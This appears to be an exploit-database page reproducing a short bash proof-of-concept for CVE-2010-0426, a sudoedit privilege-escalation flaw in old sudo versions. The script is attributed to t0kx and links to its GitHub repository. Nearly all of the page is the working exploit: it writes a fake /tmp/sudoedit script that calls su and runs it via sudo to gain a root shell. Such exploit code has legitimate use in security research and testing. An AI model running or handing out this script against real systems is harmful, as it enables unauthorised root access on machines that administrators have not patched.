4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.sh SH
#!/usr/bin/env bash
# CVE-2010-0426 exploit by t0kx
# https://github.com/t0kx/privesc-CVE-2010-0426

prepare() {
cat << EOF >> /tmp/sudoedit
#!/bin/sh
su
/bin/su
EOF
}

exploit() {
	printf "[+] Prepared sudoedit...\n"
	prepare && chmod a+x /tmp/sudoedit
	printf "[+] Run sudoedit\n"
	cd /tmp/ &&  sudo ./sudoedit ${1}
	printf "[+] Done\n"
}

main() {
	printf "[+] CVE-2010-0426 exploit by t0kx\n"

	if [ -z "${1}"   ]; then
		printf "[-] Please inform a file as parameter\n"
		exit -1
	else
		FILE=${1}
	fi

	exploit ${FILE}
}; main ${1}